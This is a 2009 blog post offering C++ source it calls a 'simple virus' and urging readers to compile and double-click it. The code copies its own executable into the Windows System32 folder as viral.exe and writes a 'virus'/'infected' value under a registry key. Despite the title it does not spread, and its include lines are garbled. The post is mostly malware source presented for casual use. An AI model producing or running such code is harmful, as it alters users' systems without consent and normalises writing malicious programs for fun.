Thursday, June 4, 2009

Virus in C++ : a simple virus source code

Open a C++ file & enter the following. Now make an exe file from this & double click. Enjoy the cool virus............. #include windows.h #include string.h char windir[MAX_PATH]; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char pathname[256]; HKEY hKey; GetWindowsDirectory(windir, sizeof(windir)); HMODULE hMe = GetModuleHandle(NULL); DWORD nRet = GetModuleFileName(hMe, pathname, 256); strcat(windir, "\\System32\\viral.exe"); CopyFile(pathname,windir,0); unsigned char reg[10] = "infected"; RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey); RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg)); RegCloseKey(hKey); } If not made into an .exe appplicayion, you can see its effects from the C++ compiler itself........

No comments:

Post a Comment

Enter a comment. Help us to help you.